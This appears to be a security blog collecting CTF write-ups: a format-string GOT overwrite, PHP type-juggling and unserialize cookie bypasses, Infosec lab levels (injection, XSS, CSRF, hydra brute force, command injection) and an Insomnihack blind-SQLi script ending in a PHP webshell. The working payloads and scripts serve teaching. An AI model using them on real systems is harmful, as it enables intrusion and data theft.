LSE Epita format string

Time ago i can’t write on this blog. It’s normal when your time is full dedicated to work and study. Now, i have one hour to publish something related guess with ? Yes, ctf challenges :)

Since this is only 1 point level and i think is basic for everyone i’ve decided to publish the writeup. I have not mentioned LSE Epita CTF is a great french university event, i hope someone take the idea here in Spain.

We have a format string vulnerability, here is the code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void print_flag()
    char* flag = NULL;
    size_t n = 0;
    FILE *f = fopen("flag.txt", "r");

    getline(&flag, &n, f);
    printf("Well played, the flag is: %s\n", flag);

void vuln()
    char buffer[512];

    fgets(buffer, sizeof(buffer), stdin);

int main(int argc, char **argv)

What we have here is another vuln() function with printf. We need to change the flow of the code and redirect to print_flag().

To achieve this, first, we need to know the buffer offset:

 for i in {1..200};do echo "searching ... offset: $i - `echo  AAAA%$i\\$08x | /media/sf_CTF_exploits/LSE-EPITA/format`"; done | grep AAAA41414141

searching ... offset: 4 - AAAA41414141

Just after printf on vuln() we have an exit call that we are going to use to overwrite GOT table with our print_flag().So, we need two main function address:

$ objdump -t format|grep print_flag
080485cb g     F .text	00000080              print_flag

$ objdump -TR format|grep exit
00000000      DF *UND*	00000000  GLIBC_2.0   _exit
00000000      DF *UND*	00000000  GLIBC_2.0   exit
0804a018 R_386_JUMP_SLOT   _exit
0804a028 R_386_JUMP_SLOT   exit

We overwrite the exit call address with our print_flag() one.
Because size, here we need to split 0x080485cb in two parts:

0x080485cb, target printflag() address.
0804 – 2052 (2052-8): two last bytes on print_flag
85cb – 34251 (34251-2052): two first bytes on print_flag

Putting all together:

$ perl -e 'print "\x2a\xa0\x04\x08"."\x28\xa0\x04\x08"."%2044d"."%4\$hn"."%32199d"."%5\$hn\n"'| nc -vvv 52129

Well played, the flag is: LSE{[REDACTED]}

Hackover CTF – messagecenter

A long time since last writeup so i have decided comment a simple web level solved on “Hackover CTF”. It’s very old vulnerability related with type safe comparation on PHP and serialize function. We have a web login with normal test users (demo, demo2) and a ‘remember login’ function that help us to keep login ‘passing data’ to autologin cookie, which have the vulnerability.  This cookie has the original format:


As wen can see the source code of the application we start analyzing vulnerable points on do_login method, seeing what’s really compared with this piece of serialized cookie string.

function do_login($username, $pw_hash, $autologin)
	global $db;
	if (isset($_SESSION['user_id'])) {
		return true;
	$sth = $db->prepare('SELECT id, password FROM account WHERE username = ?');
	$sth->bindValue(1, $username);
	$result = $sth->execute()->fetchArray();
	if ($result && $result['password'] == $pw_hash) { //<-- See how is compared, == instead === !!! 
		$_SESSION['user_id'] = $result['id'];
		if ($autologin) {
			setcookie('autologin', serialize(array(
				'username' => $username,
				'password' => $pw_hash
			)), time() + 60*60*24*14);
		header('Location: /');
	return false;

if (isset($_COOKIE['autologin'])) {
	$data = @unserialize($_COOKIE['autologin']);
	do_login($data['username'], $data['password'], true); // and here data unserialized. 

So the problem is we can set a boolean true value in serialized password data and this will produce ‘true’ comparation. Here it’s:


Ok. It’s all to get the flag.


If you are interested on this PHP serialize vulnerability and others like that, see this pdf:


n00bs CTF Labs by Infosec Institute – 2nd edition

Here another edition of n00bs infosec CTF. 13 Levels, i will add as soon as i can complete, so stay tuned and keep visiting this post. Remember first edition ?.

Level 2

A simple calculator. Need to inject something that breaks the php code and prints something like phpinfo(). After several tries with operarands with no success i think about operator must not be set with any special ‘cast’ and simple put this string to pass the level.


So this string makes eval to lauch our phpinfo even is getting error too. I think operator variable was not sanitize at all. Maybe the solution to mitigate this attack could be a very basic code snipped like:

$operator = array("+", "-", "*", "/");
// If not in array, fail. 
if (!in_array($_GET['operator'], $operator)) {


Level 3

Hint says that we have to put a newline to get our role as admin. We inject after ‘lname’ parameter:

$ curl "" -H "Cookie: PHPSESSID=0sik0or2grffh5uqibmildtp82" -H "Connection: keep-alive" --data "user=tunelk02&password=lalala&lname=any"%"0aadmin&email=t"%""

What happened here is that the file that saves new users set automatic role as normal user and radsline by linea when login. If we put “lname=any%0aadmin” we force to register process to save as admin. And then just login.



 Level 4

Description says:

“You are confronted with a website that loads some .txt files to display content for its pages. You are thinking that it may be vulnerable. You aim to load a nice file from a remote server and share the link with unsuspecting visitors.
Your task is to successfully load a PHP file located in the root of The file should not exist but you must load it without getting errors and it must have the PHP file extension.”

So has to be just read instructions. Let’s test with


Well it’s detected as URL. Reading hint (case-insensitive) we notice we can change some letters a little bit withou alter the mission.

Nice. Next one?.


Level 5

“It seems you have encountered a page which requires users to login before viewing. Do some magic without having to log in.”

If we focus on top of the page we see a disabled login button, something like this:

<a class="btn btn-sm btn-info" disabled="" href="login.html">login</a>




And if we try to get login.html access, is not found. Some of the levels, IMHO, have a very poor realistic implementation. Why they don’t put a real (but restricted login.html) that can be bypassed anyway?. Only need a check of the Referer header, a request like this:

$ curl -vvv -H "Referer:"

Gosh, you were fast. You completed Level 5. You will be redirected to level 6 in 10 seconds.

Level 6

“It seems you have landed on a site that takes HTML tags for article’s comments. You want to exploit this by making the users perform an action on the bank.php file in the root of, if they are logged in there. You want users browsers to load that page and execute the query string transferTo with the number 555 as a parameter. Go ahead.”

Hey<img src="">Visit

Enough and works on my server.


 Level 7

There are a hidden value here, injecting just ><h1>tunelko</h1>, we got:


It seems  like PHP_SELF vulnerability, let’s close our quote.



Level 11

Presented as another blacklisted part of the website and categorized as “Vulnerability: Bypassing blacklists“. A message appears on the webpage.


We just inspect cookies and see one of them called ‘welcome’ setted to no. Just change it to ‘yes’ to bypass the ‘restriction’:

$  curl -vvv "" -H "User-Agent: tnlk" -H "Cache-Control: no-cache" -H "Cookie: welcome=yes"|grep lead

Now you can see a different message.

You did it again! Why did they blacklist you anyway?

Level 12

We need to find password. Another bruteforce login.  On first edition they only give you a hint (cisco word) that guides you to try several combinations.  Now just google for the first dictionary with “filetype:lst password” query as search.

Ok, we get first position on first page an openwall common words. How to attack this time? We can beat it several ways: hydra, burp intruder, … As last time i did it with burp, let’s change to hydra this time. We download openwall dictionary on the same directory and start hydra tool with this parameters:

Method: http-form-post 
Form action: "/ctf2/exercises/ex12.php:username=admin&amp;password=^PASS^&amp;logIn=Login:Incorrect username or password combination." 

login for admin with Password file downloaded before. 
-l admin -P password-2011.lst 

With 10 threads, wait for 30 and save output to log. 
-t 10 -w 30 -o log

* Notice post parameters inside and incorrect response for invalid users. 

 $ hydra http-form-post "/ctf2/exercises/ex12.php:username=admin&amp;password=^PASS^&amp;logIn=Login:Incorrect username or password combination." -l admin -P password-2011.lst -t 10 -w 30 -o log

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2015-06-26 19:21:23
[DATA] max 10 tasks per 1 server, overall 64 tasks, 3546 login tries (l:1/p:3546), ~5 tries per task
[DATA] attacking service http-post-form on port 80
[80][http-post-form] host:   login: admin   password: princess
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2015-06-26 19:21:49

Ok, finished in few seconds. Login is admin and password is princess.


Level 13

Text on this level says …

“Hmm, it seems that level thirteen is redirecting to this page. Why do not you analyze the redirect and search if the redirect is validated thoroughly. If not, you want to redirect to a page on a remote server and send links to people fooling them to think they are accessing a different domain.”

If you see the menu link you can see a GET parameter redirect. This parameter is the key to succcessfully achieve that they are askin for: redirect to some page.

GET /ctf2/exercises/ex13.php?redirect= HTTP/1.1

Not so fast … Seems they are filtering http protocol somehow, an ugly sentence inform us about it: Bad Redirect Parameter. 

What technique we could use to bypass it? First i have tried case-sensitive, but doesn’t work. Then i remember some old-tricky one  for servers that has this vulnerability. Http splitting is one of the one that can bypass the filter. It’s only a new line represented with hexadecimal values (%0a%0d) on GET request. As OWASP says on wikipage:

Exploits a lack of input sanitization which allows an intruder to insert CR and LF characters into the headers of the application response and to 'split' that answer into two different HTTP messages.

So we can try it:

Now it works. Also we can put some other protocol on server we can manage and will work too.

More info:




WEB 1000

Our division of foreign cyber affairs has been hard at work lately. While mapping out some obscure subnets (which we think belong to the intelligence agency that is investigating HEAVENWEB) we’ve come accross a Sattelite Communications Center. One of our employees managed to snag a copy of some source code before they further locked down the platform. Luckily the login frontend still seems to be reachable.

Can you help us gain access to the platform and find out which information has been compromised?

Read More

n00bs CTF Labs by Infosec Institute

This time InfoSec Institute bring us the opportunity to learn a very basic concepts for n00bs on a CTF with 15 Levels.

Level 1

Just browse the source and see the comment.

<!-- infosec_flagis_welcome -->

flag: infosec_flagis_welcome

Level 2

Seems we have a broken image here. Just to see binary output going to make a curl request.

$ curl -vvv
HTTP Request / Response ommited ...

The first base64 appears, let’s decode using python:


flag: infosec_flagis_wearejuststarting

Level 3

We have a QR presented on the screen. After decode it with a command-tool like zbarimage or just use your mobile, we have a morse code inside.

.. -. ..-. --- ... . -.-. ..-. .-.. .- --. .. ... -- --- .-. ... .. -. --.

Because we just don’t want waste time, use a web online.

Level 4

Another image on the screen saying “HTTP means Hypertext Transfer Protocol”. Let’s curl again:

$ curl -vvv
< HTTP/1.1 200 OK
< Date: Fri, 13 Mar 2015 19:42:38 GMT
< Server: Apache/2.4.7 (Ubuntu)
< X-Powered-By: PHP/5.5.9-1ubuntu4.6
< Set-Cookie: fusrodah=vasbfrp_syntvf_jrybirpbbxvrf
< Vary: Accept-Encoding
< Content-Length: 3514
< Content-Type: text/html

In HTTP Headers we can see a wide variety of informations about a request with his response, this time we fix our eyes on:

< Set-Cookie: fusrodah=vasbfrp_syntvf_jrybirpbbxvrf

As we know our flag patern is infosec_flagis_ , this string doesn’t make sense, so let’s use python with rot_13 as decoder to try:

import codecs
codecs.encode('vasbfrp_syntvf_jrybirpbbxvrf', 'rot_13')

flag: infosec_flagis_welovecookies

Level 5

This time an infinite loop alert is ‘dosing’ our browser when visit page. Using some curl/burp proxy we can see entire source and see what’s causing this dos.



    <img src="img/aliens.jpg" /> <br /> <br />

So let’s download this aliens.jpg file and see what is hidden. Stego is an interesting technique to hide messages inside media files. There are a lot of theory and tools to (un)hide messages, one of them is steghide.

$ steghide extract -sf aliens.jpg
Enter passphrase: (none)
wrote extracted data to "all.txt".
$ cat all.txt

No password for the embeded data, seems binary string we can convert using python:

import binascii
n = int(x, 2)
binascii.unhexlify('%x' % n)

flag: infosec_flagis_stegaliens

Level 6

In pcap, UDP packet that contains an hexadecimal string “”696e666f7365635f666c616769735f736e6966666564”, easy to decode:

import hashlib

flag: infosec_flagis_sniffed

Level 7

This level redirects to a 404.php page that says Not found. A closer look to HTTP on Burp repeater, it reveals the flag:

HTTP/1.0 200 aW5mb3NlY19mbGFnaXNfeW91Zm91bmRpdA==
Date: Fri, 13 Mar 2015 20:31:20 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Content-Length: 0
Connection: close
Content-Type: text/html

Another base64 string to decode on python:


flag: infosec_flagis_youfoundit

Level 8

It says to download a binary file app.exe. After some static and dinamic analisis with IDA and OllyDbg, seems that launch netstat command but nothing more.

This is main function decompiled showing netstat command:

// Address range: 0x401290 - 0x4012ff
int main(int argc, char ** argv) {
    // 0x401290
    int32_t size;
    printf("# Welcome to infosec institute net app v1.0#\n");
    return 0;

If we search for strings, we found the flag, allocated in .rdata:

 section: .rdata
0x403000: 69 6e 66 6f 73 65 63 5f 66 6c 61 67 69 73 5f 30 |infosec_flagis_0|
0x403010: 78 31 61 |x1a |
0x403013: 00 |. 

$ strings app.exe |grep flag

flag: infosec_flagis_0x1a

Level 9

Auth login that says “CISCO IDS WEB LOGIN SYSTEM”. After several SQLi manual and automatic sqlmap tries we think that title of the challenge is important.

Maybe some default password on Cisco web interface device. Using Burp intruder with “cluster bomb” option we can set two simple list to try, first contains ‘root’,’admin’,’cisco’ for the username and second a common list of passwords. After a while we can observe a different content-lenght on the responses, this can be indicate that we have the flag:


password: attack

Seems is on reverse order, let’s do it in correct with python:

def rev(text):
print 'Reverse: ', text
return text[::-1]

Reverse: ssaptluafed_sigalf_cesofni

flag: infosec_flagis_defaultpass

Level 10

For this level a Flag.wav is available to download. Seems stego but this time we use steghide with a dictionary password, all in a expect script to automatize. Later we see that this method was not successful but i want to include as a way to create a little bruteforce password automatization on stego.

$ cat 
set password [lindex $argv 0]
spawn  steghide extract -sf Flag.wav
expect "salvoconducto:"
send -- "$password\r"
expect eof

What it does this script is set a variable password, lauch steghide with params to extract and ‘expect’ password input(salvoconducto is password in some wird spanish translate) where we are going to bruteforce via dictionary file in bash this way:

$ for $word in `cat common.txt`; do ./ $word; echo "Tried: " $word; done

Finally the content of the wav file can be unhide with audacity changing frequency to 8000 hz and listen carefully the words: infosec[unserscore]flagis[underscore]f,o,u,n,d (spelled).

Attached file 

flag: infosec_flagis_found

Level 11

We download another image. One basic technique to hide some data on image files is putting on exif fields, so let’s see if we can see what is behind

$ exiftool php-logo-virus.jpg
ExifTool Version Number : 8.60
File Name : php-logo-virus.jpg
Directory : .
File Size : 13 kB
File Modification Date/Time : 2015:03:11 22:14:36+01:00
File Permissions : rwxrwx---
File Type : JPEG
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 96
Y Resolution : 96
Exif Byte Order : Big-endian (Motorola, MM)
Document Name : infosec_flagis_aHR0cDovL3d3dy5yb2xsZXJza2kuY28udWsvaW1hZ2VzYi9wb3dlcnNsaWRlX2xvZ29fbGFyZ2UuZ2lm��.
Profile CMM Type : Lino

On document name we see prefix ‘infosec_flagis_’ and another base64 that decoded give us an url ( . After trying to carve this gif89a image and found nothing we assume flag is: infosec_flagis_POWERSLIDE

flag: infosec_flagis_POWERSLIDE

Level 12

An image of master yoda appears, but again can’t extract stego information. We have been trolled? We inspect source code of the page and found a css/design.css that contains:

color: #696e666f7365635f666c616769735f686579696d6e6f7461636f6c6f72;

And again python to decode this hex string:

import hashlib

flag: infosec_flagis_heyimnotacolor

Level 13


We need a backup file of the levelthirteen.php. With same burp intruder technique we start to walk on filename extensions until we can find the backup one:


Start the attack and see different HTTP responses, all 404 but one is 200 OK.


It says to download misc/imadecoy file that is “tcpdump capture file (little-endian) – version 2.4 (Linux “cooked”, capture length 65535)”. Open wireshark, see a lot of packets and goto export HTTP objects to see if something is interesting there. We decide to download HoneyPY.PNG, here is the flag:


flag: infosec_flagis_morepackets

Level 14

This level points to a SQL file containing soem admin password (phppass). It’s a little bit hint table name is called with a question mark – Flag?

-- Table structure for table `flag?`

  `ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `user_login` varchar(60) NOT NULL DEFAULT '',
  `user_pass` varchar(64) NOT NULL DEFAULT '',
  `user_nicename` varchar(50) NOT NULL DEFAULT '',
  `user_email` varchar(100) NOT NULL DEFAULT '',
  `user_url` varchar(100) NOT NULL DEFAULT '',
  `user_registered` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `user_activation_key` varchar(60) NOT NULL DEFAULT '',
  `user_status` int(11) NOT NULL DEFAULT '0',
  `display_name` varchar(250) NOT NULL DEFAULT '',
  KEY `user_login_key` (`user_login`),
  KEY `user_nicename` (`user_nicename`)

-- Dumping data for table `flag?`

INSERT INTO `flag?` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES
(1, 'admin', '$P$B8p.TUJAbjULMWrNXm8GsH4fb2PWfF.', 'admin', '[email protected]', '', '2012-09-06 20:09:55', '', 0, 'admin');

So I have discard cracking password (have tried with no luck) and continue to see data on the same file. In the date i have solved this, ‘misc’ directory has IndexOptions enable and can download another file seems real flag for level 14, level14.db, a sqlite db file containing this:

$ strings level14.db 
SQLite format 3
CREATE TABLE flag(flagval char[500] not null)

So it’s unicode hex that can be converted into string with python:

import hashlib


Another way to solve this is seeing firends table, same unicode hex string on ID 104.

flag: infosec_flagis_whatsorceryisthis

Level 15

This level is command injection against “dig mx” command. It’s easy to ‘stop’ execution with ‘;’ and inject another command again, let’s see interesting php code on index.php file with ‘; cat index.php’

        echo "<pre>";
        $cmd = ($_POST['dig']);
        system("dig mx " . $cmd );
        echo "</pre>";

What happens here is that $cmd variable is not properly sanitize and original command ‘dig mx’ is concatenated  with our input so system finally lauch ‘dig mx; cat index.php’. Very bad use system command this way.

Making use of several commands we are able to, at least, see what’s system underlying, who user we are, etc …

;uname -a
Linux ip-172-31-35-36 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64
uid=33(www-data) gid=33(www-data) groups=33(www-data)
; ls -lasth /var/www/html
total 112K
4.0K -rwxr-xr-x 1 root root 70 Mar 13 18:49 levelseven.php
4.0K -rwxr-xr-x 1 root root 3.4K Mar 13 18:49 index copy.php
4.0K -rwxr-xr-x 1 root root 142 Mar 13 18:49 404.php
4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 leveltwo.php
4.0K -rwxr-xr-x 1 root root 3.4K Mar 13 18:49 leveltwelve.php
4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 levelthree.php
4.0K -rwxr-xr-x 1 root root 3.8K Mar 13 18:49 levelthirteen.php
4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 levelten.php
4.0K -rwxr-xr-x 1 root root 3.6K Mar 13 18:49 levelsix.php
4.0K -rwxr-xr-x 1 root root 3.4K Mar 13 18:49 levelone.php
4.0K -rwxr-xr-x 1 root root 4.0K Mar 13 18:49 levelnine.php
4.0K -rwxr-xr-x 1 root root 3.6K Mar 13 18:49 levelfourteen.php
4.0K -rwxr-xr-x 1 root root 3.6K Mar 13 18:49 levelfour.php
4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 levelfive.php
4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 leveleleven.php
4.0K -rwxr-xr-x 1 root root 3.7K Mar 13 18:49 leveleight.php
4.0K -rwxr-xr-x 1 root root 3.7K Mar 13 18:49 levelthirteen.php.old
8.0K -rwxr-xr-x 1 root root 5.2K Mar 13 18:49 index.php
4.0K drwxr-xr-x 2 root root 4.0K Mar 13 13:52 misc
4.0K drwxr-xr-x 3 root root 4.0K Mar 13 13:52 css
4.0K drwxr-xr-x 2 root root 4.0K Mar 13 13:47 levelfifteen
4.0K drwxr-xr-x 7 root root 4.0K Mar 13 12:21 ctflabs
4.0K drwxr-xr-x 9 root root 4.0K Mar 13 04:50 .
4.0K drwxr-xr-x 2 root root 4.0K Mar 13 04:48 js
4.0K drwxr-xr-x 2 root root 4.0K Mar 13 04:47 img
4.0K drwxr-xr-x 3 root root 4.0K Mar 13 04:12 ..
4.0K drwxr-xr-x 3 root root 4.0K Mar 13 03:56 __MACOSX

: ;cat .hey – Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC

>>> x=’Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC’
>>> x.decode(‘base64’)

After several tries to convert this encode to base64, rot13+base64, etc… i have found that is actually ATOM 128 encoded, a very weird type of encodings that really is just base64 with certainly chars to substitute. See this python code:

$ python "Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC" dec
base64:  2+��d�*G1�r24ş�*0�.�.&�
atom128:  infosec_flagis_rceatomized
megan35:  �7���5���ws�������<
hazz15:  ���0j��J43�и��/J���z0��䌿
zong22:  ����������/�O�.��fğ

Flag: infosec_flagis_rceatomized

Bonus challenges

Found bonus on misc directory download readme.wav, seems morse code. Translate it and get the flag.



CTF teaser Insomnihack 2015 [ynos – web100]

First, happy new year to all. This time we are going to see how to solve ynos task from the last weekend, Insomnihack 2015 teaser. Good work to the people behind the scenes :).

This web task presents several vulnerabilites that we must exploit to get the flag. A login form with some JSON mechanism to send and retrieve data is present in all interaction with the server, so the first thing we did was analyze this mechanism. The website show us a list of films, directors and artists

Notice that posting ‘admin’ as user and password (totally guessable) we had success and user exists. See also what is inside this JSON , “c” (probably the class) with name user, “a” (action or method) with a pair of values, “name” and “params”, splitted with ‘|’ separator representing username and password.


Let’s see what files are reported with dirbuster:

File found: /jquery-2.1.1.min.js - 200
File found: /bootstrap.min.js - 200
File found: /home.php - 200
File found: /login.php - 200
File found: /logout.php - 200
File found: /classes.php - 200
File found: /films.php - 200
File found: /artists.php - 200
File found: /functions.php - 200
File found: /directors.php - 200

One we are logged, we see how works the request & response. Sending:


We get list of artists:


<!-- Form Name -->

<ul class="list-group">
  <li class="list-group-item">Jonny Lee Miller</li>
  <li class="list-group-item">Angelina Jolie</li>
  <li class="list-group-item">Jesse Bradford</li>
  <li class="list-group-item">Matthew Lillard</li>
  <li class="list-group-item">Laurence Mason</li>
  <li class="list-group-item">Fisher Stevens</li>


We tried Local File Inclusion and works  … but seems only a few files was allowed to be included.


So we return to the initial point, login, to test some SQLi against this parameters splitted by ‘|’.

{"c":{"name":"user"},"a":{"name":"login","params":"admin'-- -|1'+or+1=1+#"}}

Yes! We have a point to start on this challenge.


Next step is programming a python script to exploit a blind sqli on this login form, see how is passed the JSON:

{"c":{"name":"user"},"a":{"name":"login","params":"' or substr(hex((select group_concat(table_name) from information_schema.tables where table_schema&lt;&gt;'information_schema')),1,1)='0' -- -|1"}}

… and the code to automate it.

from requests import post
from sys import argv

def get_digit(query, pos):
 for i in '0123456789abcdef':
 p = "' or substr(hex(%s),%d,1)='%c' -- -" % (query, pos, i)
 r = post("", data='{"c":{"name":"user"},"a":{"name":"login","params":"%s|1"}}' % (p))
 if 'Success' in r.text:
 return i

def get(query):
 res = ''
 for i in xrange(1, 100, 2):
 c0 = get_digit(query, i)
 c1 = get_digit(query, i+1)
 if c0 == None or c1 == None:
 return res

 c = chr(int(c0+c1, 16))
 res += c
 print res

query = "(select group_concat(table_name) from information_schema.tables where table_schema<>'information_schema')"
if len(argv) > 1:
 query = argv[-1]

print get(query)

‘query’ is that we want to search , table name:

$ ./

The rest is modify the script or pass a query as argument to complete the dump:

$ ./  "(select group_concat(column_name) from information_schema.columns where table_name='users')"

$ ./  "(select group_concat(id,':',name,':',password) from users)" 

At this point we can extract file contents with “(select load_file(‘/var/www/html/funcions.php’))” and so on …

Let’s see the code of all interesting phps, included INSO.RPC:



function parseParams($params) {
  if(is_array($params)) {
    return $params;
  else {
    return explode("|",$params);

function myDeserialize($object) {
  global $session;
  $class = $object["c"];
  $action = $object["a"];
  $cname = $class["name"];
  $cparams = Array();
  if(isset($class["params"])) {
    $cparams = $class["params"];
  $my_obj = new $cname($cparams);
  $aname = $action["name"];
  $aparams = Array();
  if(isset($action["params"])) {
    $aparams = parseParams($action["params"]);





class session {
  private $id = "";
  private $session = "";
  function __construct($id) {
    $this->id = $id;
    if(file_exists("/tmp/".$this->id)) {
      $this->session = json_decode(file_get_contents("/tmp/".$this->id), true);
    else {
      $this->session = Array();
  function get($var) {
    return $this->session[$var];
  function set($var,$value) {
    $this->session[$var] = $value;
    if(isset($this->id) && $this->id !== "") {
  function debug() {
    print file_get_contents("/tmp/".$this->id);
  function getId() {
    return $this->id;

class user {

  function login($username,$password) {
  $query = "SELECT id FROM users WHERE name = '$username' and password = '" . sha1($password) . "'";
  $result = mysql_query($query);
  $line = mysql_fetch_array($result,MYSQL_ASSOC);
    if(isset($line['id']) && $line['id'] !== "") {
      $GLOBALS['message'] = "Login Success";
    else {
      $GLOBALS['message'] = "Login fail";
  function logout($user) {
  function register($username,$password) {


class page {
  private $name;
  private $allowed_pages = array("home","artists","films","directors","logout");
  function render($page) {
      if($GLOBALS['session']->get("userid") > 0) {
  foreach($this->allowed_pages as $allowed_page) {
    if(preg_match("/$allowed_page/",$page)) {
    //print "This is page " . $page;
      include($page . ".php");
      else {


global $session;
global $message;

if(isset($_COOKIE['session'])) {
  $session = new session($_COOKIE['session']);
else {
  $id = substr(str_shuffle(sha1(microtime())), 0, 32);
  $session = new session($id);

$input = json_decode(file_get_contents("php://input"),true);
if(isset($input)) {

print $message;


If you see closer, classes.php has session and user classes. Notice that file read could be done by tricking the JSON request with method debug in combination:

{"c":{"name":"session", "params":"../../../var/www/html/INSO.RPC"},"a":{"name":"debug","params":"none"}}

But the target is list the files and get the flag. Need to exploit call_user_func. There are also ‘get’ and ‘set’ methods so the idea is put our shell here:

{"c":{"name":"session", "params":"home.php"},"a":{"name":"set","params":"x|<?=`$_GET[1]`?>"}}

And access now to list the files with ‘INSO.RPC?1=ls+-lasth’ parameter:



{"x":"total 296K
4.0K drwxr-xr-x 2 ubuntu root   4.0K Jan 11 05:38 .
4.0K -rw-rw-r-- 1 ubuntu ubuntu    6 Jan  9 16:19
4.0K -rw-rw-r-- 1 ubuntu ubuntu   41 Jan  9 16:02 ___THE_FLAG_IS_IN_HERE___
4.0K -rw-rw-r-- 1 ubuntu ubuntu  596 Jan  8 16:25 functions.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu   40 Dec 30 13:39 .htaccess
4.0K -rw-rw-r-- 1 ubuntu ubuntu  426 Dec 30 13:39 INSO.RPC
4.0K -rw-rw-r-- 1 ubuntu ubuntu  403 Dec 30 13:39 artists.php
112K -rw-r--r-- 1 ubuntu ubuntu 111K Dec 30 13:39 bootstrap.min.css
 36K -rw-r--r-- 1 ubuntu ubuntu  35K Dec 30 13:39 bootstrap.min.js
4.0K -rw-rw-r-- 1 ubuntu ubuntu 1.8K Dec 30 13:39 classes.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu  903 Dec 30 13:39 directors.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu  951 Dec 30 13:39 films.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu  281 Dec 30 13:39 home.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu 1.8K Dec 30 13:39 index.php
 84K -rw-r--r-- 1 ubuntu ubuntu  83K Dec 30 13:39 jquery-2.1.1.min.js
4.0K -rw-rw-r-- 1 ubuntu ubuntu 1.6K Dec 30 13:39 login.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu  779 Dec 30 13:39 logout.php
4.0K -rw-rw-r-- 1 ubuntu ubuntu  122 Dec 30 13:39 preload.php
4.0K drwxr-xr-x 3 root   root   4.0K Dec 30 13:30 ..

Finally our flag:


Thanks to all dcua team members!

MakeMeFeeWet^Hb [No cON Name 2014 CTF – QUALS]

pantallazo_ 2014-09-14 a la(s) 11.16.53
This challenge has a a bit more complicated solution proceess and more fun to learn. We have a login page that stay inmmutable to our several injection attacks. The only weird thing is a comment on the source page, vim editor staff.

<!-- vim: set ts=2 sw=2: -->

So this php has been edited with vim? Will be a swap file downloadable? I can’t believe that ! After download it, see its content:

$ strings login.php.swp
b0VIM 7.4
@$data = unserialize(hex2bin(implode(explode("\\x", base64_decode($cookie)))));
if (isset($_COOKIE['JSESSIONID'])) {
if ($username == "p00p" &amp;&amp; $password == "l!k34b4u5") {
$this->p = $_passwd;
$this->u = $_uname;
public function __construct($_uname, $_passwd) {
public $p;
public $u;
class Creds {

One could think “ok, i got it”. Let’s see what happens when we try to login with that credentials.

username: p00p
password: l!k34b4u5
A doggy puch !
A doggy puch !

After this LoL gif time, we have to analyze why this credentials aren’t totally correct.

First, we have to set a JSESSIONID cookie and see that even with empty value a message appears: “Getting close :)“. So something inside this cookie need to be injected, let’s see detailed the part of the code we have:

-> if (isset($_COOKIE['JSESSIONID'])) { // a message appears 
-> @$data = unserialize(hex2bin(implode(explode("\\x", base64_decode($cookie))))); // unserialize and hex2bin b64 staff of $cookie ? not $:COOKIE['JSESSIONID'] 
-> $this->p = $_passwd;
-> $this->u = $_uname;
-> public function __construct($_uname, $_passwd) { // cons method 
-> public $p;
-> public $u;
-> class Creds { // a class Creds 

What could we do with PHP classes, unserialize and cookies ? Inject something that show us the flag. If the credentials are ok as ‘good try’ we need to know what to put on the JSESSIONID cookie.

First i think that we could do a PHP JSON Object command injection on the cookie, but obviously there was no ‘eval’  in the code, so let’s make our serialized class object:


Object Creds with the two username/password variables inside it. Nothing happens if we try to inject this to the cookie, need to encoded some way:

>>> import base64

>>> base64.b64encode('O:5:"Creds":2:{s:1:"p";s:9:"l!k34b4u5";s:1:"u";s:4:"p00p";}'.encode('hex'))

>>> data='NGYzYTM1M2EyMjQzNzI2NTY0NzMyMjNhMzIzYTdiNzMzYTMxM2EyMjcwMjIzYjczM2EzOTNhMjI2YzIxNmIzMzM0NjIzNDc1MzUyMjNiNzMzYTMxM2EyMjc1MjIzYjczM2EzNDNhMjI3MDMwMzA3MDIyM2I3ZA=='

>>> base64.b64decode(data)

>>> hex='4f3a353a224372656473223a323a7b733a313a2270223b733a393a226c216b333462347535223b733a313a2275223b733a343a2270303070223b7d'

>>> hex.decode('hex')

Let’s curl with this data and see the flag:

curl -vvv -k '' -H 'Cookie: JSESSIONID=NGYzYTM1M2EyMjQzNzI2NTY0NzMyMjNhMzIzYTdiNzMzYTMxM2EyMjcwMjIzYjczM2EzOTNhMjI2YzIxNmIzMzM0NjIzNDc1MzUyMjNiNzMzYTMxM2EyMjc1MjIzYjczM2EzNDNhMjI3MDMwMzA3MDIyM2I3ZA==; _dashboard_session=amZORFlKSkUzTlN3Y3lFai9uUVVTcHdEMktQVXdVTWo5ckEzcDNjajVLaURYaHBFd0Yrc0Ixc2U3eWFMOGRPd1dVbTBFak8vWnd5OGVNZSt5MHNNNEl6Y0pVekhqTHZYaitaZUo5azBheVRvdVladWdSMEFxaXhqMFluUFAwMmo2bVl3emNQK3NWdjZmZTBKblNLdVFnTVFaUS90bXM2aWh1MDJtck9udzlaVVE4ejFjRnYzeUsxNVRwbHdyazFFbkZoQy9WelhnQUozWnVJaTlMZEhiV0s1WXVPLzNCY20xQzhOck9HeHFzMD0tLWsyZysvS3lJTWNnbDdwY3JwYXhtL3c9PQ%3D%3D--a91ebb3c5d6fa96e16a831a9e965b3004ec24c4b; PHPSESSID=uo8lqqhf0slqhn6nbclbnosp04;'
* Adding handle: conn: 0x7facf480d000
* Adding handle: send: 0
* Adding handle: recv: 0
